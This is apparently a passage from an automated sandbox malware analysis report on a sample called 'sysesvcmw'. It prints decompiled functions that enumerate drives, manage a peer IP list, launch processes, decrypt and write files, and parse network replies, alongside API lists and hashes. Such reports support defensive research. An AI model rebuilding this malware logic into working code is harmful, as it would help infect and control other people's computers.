						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040EE10();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404FC0( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0);
				}
				ExitThread(0);
			}

APIs

Sleep.KERNEL32(000003E8), ref: 004054AE
GetModuleFileNameW.KERNEL32(00000000,004163C0,00000104), ref: 004054C0

Part of subcall function 0040D180: CreateFileW.KERNEL32(004054D0,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040D1A0
Part of subcall function 0040D180: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
Part of subcall function 0040D180: CloseHandle.KERNEL32(000000FF), ref: 0040D1C2

ExitThread.KERNEL32 ref: 0040562A

Part of subcall function 00404CB0: GetLogicalDrives.KERNEL32 ref: 00404CB6
Part of subcall function 00404CB0: RegOpenKeyExW.ADVAPI32 ref: 00404D04
Part of subcall function 00404CB0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
Part of subcall function 00404CB0: RegCloseKey.ADVAPI32(?), ref: 00404D4E

Sleep.KERNEL32(000007D0), ref: 0040561D

Part of subcall function 00404C50: lstrcpyW.KERNEL32(?,?), ref: 00404CA3

GetVolumeInformationW.KERNEL32 ref: 0040555F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00405574
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040558F
wsprintfW.USER32 ref: 004055A2
wsprintfW.USER32 ref: 004055C2
wsprintfW.USER32 ref: 004055E5

Strings

(%dGB), xrefs: 00405596
Unnamed volume, xrefs: 004055B6
%s%s, xrefs: 004055D9

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction ID: 9bd4fa2fb620ac2810ea8b244f600aa7f59dc27fdf478d4548bf3fce0c8904cf
Opcode Fuzzy Hash: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction Fuzzy Hash: 0D418371900208BBE714DB94DC45FEE7778AB48700F1085AAF209B61D0DA799B84CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00409A30 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409A30(signed int _a4, intOrPtr _a8, signed int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				char* _t57;
				signed int _t61;
				void* _t65;
				char* _t68;
				char* _t72;
				signed int _t77;
				char* _t78;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr _t93;
				char* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409770(_a4);
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004094E0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					__eflags = _t52;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004094E0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						__eflags = _t54;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x416df4);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								__eflags = _v12 -  *0x416e2c; // 0x0
								if(__eflags >= 0) {
									break;
								}
								_t93 =  *((intOrPtr*)(0x416e30 + _v12 * 4));
								__eflags =  *((intOrPtr*)(_t93 + 4)) - _a4;
								if( *((intOrPtr*)(_t93 + 4)) != _a4) {
									_t95 = _v12 + 1;
									__eflags = _t95;
									_v12 = _t95;
									continue;
								}
								_t65 = E0040BE60();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409980(_t55);
							_t57 = _v5 & 0x000000ff;
							__eflags = _t57;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x416df4);
								return _t57;
							}
							_v13 = 0;
							__eflags =  *0x416e2c - 0x200;
							if( *0x416e2c == 0x200) {
								_v13 = 1;
							}
							_t57 = E00408B00(0xc);
							_v20 = _t57;
							__eflags = _v20;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BE60() - _a8;
								__eflags = _v13 & 0x000000ff;
								if((_v13 & 0x000000ff) == 0) {
									_t89 =  *0x416e2c; // 0x0
									_t60 = _v20;
									 *((intOrPtr*)(0x416e30 + _t89 * 4)) = _v20;
									_t77 =  *0x416e2c; // 0x0
									_t78 = _t77 + 1;
									__eflags = _t78;
									 *0x416e2c = _t78;
									L25:
									_t57 = E00409980(_t60);
									__eflags = _a12 & 0x000000ff;
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409660(_t57);
									}
									goto L27;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									_t61 =  *0x416e2c; // 0x0
									__eflags =  *(0x416e2c[_t61]);
									if( *(0x416e2c[_t61]) == 0) {
										break;
									}
									Sleep(1);
								}
								_t91 =  *0x416e2c; // 0x0
								 *(0x416e2c[_t91]) = 1;
								_t80 =  *0x416e2c; // 0x0
								E00408C70(0x416e2c[_t80]);
								_t60 =  *0x416e2c; // 0x0
								0x416e2c[_t60] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004094E0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						__eflags = _t68;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004094E0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						__eflags = _t68;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004094E0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					__eflags = _t72;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004094E0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					__eflags = _t72;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}

APIs

Part of subcall function 00409770: gethostname.WS2_32(?,00000100), ref: 0040978C
Part of subcall function 00409770: gethostbyname.WS2_32(?), ref: 0040979E

strstr.NTDLL ref: 00409A60
strstr.NTDLL ref: 00409A7E
strstr.NTDLL ref: 00409A9C

Strings

.127, xrefs: 00409A6C
127., xrefs: 00409A4E
.10., xrefs: 00409AE9
10., xrefs: 00409AAD
.127., xrefs: 00409A8A
.10, xrefs: 00409ACB

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: strstr$gethostbynamegethostname
String ID: .10$.10.$.127$.127.$10.$127.
API String ID: 2540993189-3303897403
Opcode ID: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction ID: 3df5601b161af7dea13d6a0229968f945e0e067b118b08783a6fcb5bdca65d6d
Opcode Fuzzy Hash: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction Fuzzy Hash: AC51B4B8E043449BDB04EB61E841BAA7BB5AB44308F04C53EE904673C2D67EE951CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC90 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BC90(LONG* _a4, intOrPtr _a8) {
				int _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				SetThreadPriority(GetCurrentThread(), _v8);
				return _v12;
			}

APIs

GetCurrentThread.KERNEL32(?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC96
GetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC9D
GetCurrentThread.KERNEL32(000000FE,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCA8
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCAF
InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BCD2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040BD07
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BD52
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BD6E
Sleep.KERNEL32(00000001), ref: 0040BD9E
GetCurrentThread.KERNEL32(0040EC84,?,0040E1CE,?,000000FF), ref: 0040BDAD
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF), ref: 0040BDB4

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction ID: 7471dcba010468c66186aef50ce52d9a71631389d56eaee9496ec156eb60796e
Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction Fuzzy Hash: E7414E74D00209EFDB14CFA4D848BAEBB75FF44305F20C16AE906A7380D7789A81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409D40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409D40() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				intOrPtr _t41;
				void* _t74;

				InitializeCriticalSection(0x416df4);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409A30( *((intOrPtr*)(0x4143b8 + _v12 * 4)), E0040BE60(), 0);
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_v8 = CreateFileW(0x416be8, 0x80000000, 0, 0, 3, 0, 0);
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409A30( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BE60() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8);
				}
				E00409750();
				_t41 =  *0x416e10; // 0x0
				return E0040BBA0(_t41, 0, E00409620, 0, 0, 0);
			}

APIs

InitializeCriticalSection.KERNEL32(00416DF4,?,?,?,?,?,?,00406559), ref: 00409D4B
CreateFileW.KERNEL32(00416BE8,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409D9D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409DBE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409DDD
GetFileSize.KERNEL32(000000FF,00000000), ref: 00409DF2
UnmapViewOfFile.KERNEL32(00000000), ref: 00409E58
CloseHandle.KERNEL32(00000000), ref: 00409E62
CloseHandle.KERNEL32(000000FF), ref: 00409E6C

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL ref: 0040BE78

Strings

Ye@, xrefs: 00409E68, 00409DEE, 00409DBA

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: Ye@
API String ID: 439099756-4068086367
Opcode ID: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction ID: 4dce5e276bdf20b80a38771717a09593e8b4a8e5598cf30a42ed89e5f557a98d
Opcode Fuzzy Hash: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction Fuzzy Hash: F4413F74E40308BBDB10DBA4DC4ABAEB774AB44704F208569F611772C2C7B96941CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D390 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59
sleepprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D390(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406227
				if(CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24) != 1) {
					_t12 =  &_a4; // 0x406227
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8);
				return 1;
			}

0x0040d39e
0x0040d3a8
0x0040d3ab
0x0040d3ae
0x0040d3b1
0x0040d3b4
0x0040d3bb
0x0040d3c7
0x0040d3df
0x0040d3ee
0x0040d405
0x0040d416
0x0040d41c
0x0040d423
0x00000000
0x0040d434
0x0040d42a
0x00000000
0x0040d430
0x0040d3f5
0x00000000

APIs

memset.NTDLL ref: 0040D39E
CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Sleep.KERNEL32(000003E8), ref: 0040D3F5
ShellExecuteW.SHELL32(00000000,open,'b@,00000000,00000000,00000000), ref: 0040D410
Sleep.KERNEL32(000003E8), ref: 0040D42A

Strings

open, xrefs: 0040D409
D, xrefs: 0040D3B4
'b@, xrefs: 0040D3DF, 0040D405, 0040D3E2, 0040D408
, xrefs: 0040D41F

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$CreateExecuteProcessShellmemset
String ID: $'b@$D$open
API String ID: 2222793131-3177583149
Opcode ID: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction ID: b11808ad886c3be21141a941b9f16766042708721ad172ccf90be75e59fbd376
Opcode Fuzzy Hash: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction Fuzzy Hash: E211FE71E4430CBBEB14DF94DC46BDE7774AB18700F20412AFA09BA2C0D6B55A448B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1D0 Relevance: 15.1, APIs: 10, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D1D0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_v16 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0);
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_v16 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0);
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0);
							CloseHandle(_v16);
						}
						E00408C70(_v8);
					}
					return _v21;
				}
				_v28 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0);
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v32 = MapViewOfFile(_v28, 4, 0, 0, 0);
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B1E0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AB80(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12);
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004094C0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408C70(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040D309
CloseHandle.KERNEL32(00000000), ref: 0040D313
CloseHandle.KERNEL32(000000FF), ref: 0040D31D
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D33C
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040D361
CloseHandle.KERNEL32(000000FF), ref: 0040D36B

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
String ID:
API String ID: 171974401-0
Opcode ID: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction ID: 3921fc4700ee4b190ae2af8b7d894abc0534e186cae3a84a50511f4350192fbd
Opcode Fuzzy Hash: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction Fuzzy Hash: 97512CB5E00208FBDB14DFE4CC59BEEBB74AB48704F208569E611772C0D7B96A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E840 Relevance: 13.6, APIs: 9, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040E840(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BE60());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E220(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E5C0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E220(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E7D0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040E866
InterlockedDecrement.KERNEL32(?), ref: 0040E890
InterlockedDecrement.KERNEL32(?), ref: 0040E8A3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E8B4
InterlockedDecrement.KERNEL32(?), ref: 0040E93B
InterlockedDecrement.KERNEL32(?), ref: 0040E9D6
setsockopt.WS2_32 ref: 0040EA0C
closesocket.WS2_32(?), ref: 0040EA19

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL ref: 0040BE78

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction ID: b9f556da3bb5aac27c1329fbefbdde51c01563ae05ed193aa0a017dd72204b88
Opcode Fuzzy Hash: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction Fuzzy Hash: D951BD75608701ABC704DF29D888B97FBE4BF88314F008A2EE49D93361D775A558CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C490 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040C490(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0);
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B290(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8);
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Sleep.KERNEL32(000003E8), ref: 0040C4EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

HTTP/1.1 200 OK, xrefs: 0040C4FF
